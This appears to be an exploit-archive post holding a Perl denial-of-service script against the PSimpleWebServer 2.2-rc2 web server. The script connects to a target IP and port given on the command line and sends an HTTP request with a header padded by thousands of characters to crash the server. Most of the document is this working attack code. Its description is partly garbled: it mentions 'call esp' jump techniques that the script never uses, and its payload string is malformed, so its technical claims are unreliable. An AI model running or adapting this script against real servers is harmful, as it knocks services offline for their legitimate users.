SimpleWebServer 2.2-rc2 Denial Of Service

`#!/usr/bin/perl  
  
use IO::Socket::INET;  
  
# Exploit Title: PSimpleWebServer 2.2-rc2 - Denial of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 11 january 2024  
# Vendor Homepage: http://www.pmx.it/  
# Download to demo: https://drive.google.com/file/d/1tAK7dKl3yBPQSeo5Tid4p2FETyh8Zjvs/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: PSimpleWebServer 2.2-rc2   
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denial of Service (DoS)  
# Vídeo: https://www.youtube.com/watch?v=YFfBuWnHeQY  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The server did not properly handle request with large amounts of data to web server.  
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "\t ==> Connecting to webserver... \n\n";  
sleep(1);  
  
our $exploit = "\x41"x2014;  
  
$exploit = "x\41"x2104;  
  
if ($socket = IO::Socket::INET->new  
(PeerAddr => $ip,  
PeerPort => $port,  
Proto => "TCP"))  
{  
$header =  
"GET / HTTP/1.1\r\n".  
"Host: ".$ip." \r\n".  
"Connection:".$exploit."\r\n";  
print $socket $header."\r\n";  
sleep(1);  
close($socket);  
}  
  
else  
{  
print "[-] Connection to $ip failed!\n";  
exit;  
}  
  
  
print "\t ==> Done! Exploited!";  
sub intro {  
print q {  
  
  
,,__  
.. .. / o._)   
/--'/--\ \-'||   
/ \_/ / |   
.'\ \__\ __.'.'   
)\ | )\ |   
// \\ // \\  
||_ \\|_ \\_  
'--' '--'' '--'   
  
[+] SimpleWebServer 2.2-rc2 - Denial of Service (DoS)  
  
[*] Coded by Fernando Mengali  
  
[@] e-mail: [email protected]  
  
}  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print "\n\tUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}  
  
#3. Solution/ How to fix:  
  
# This version product is deprecated  
  
`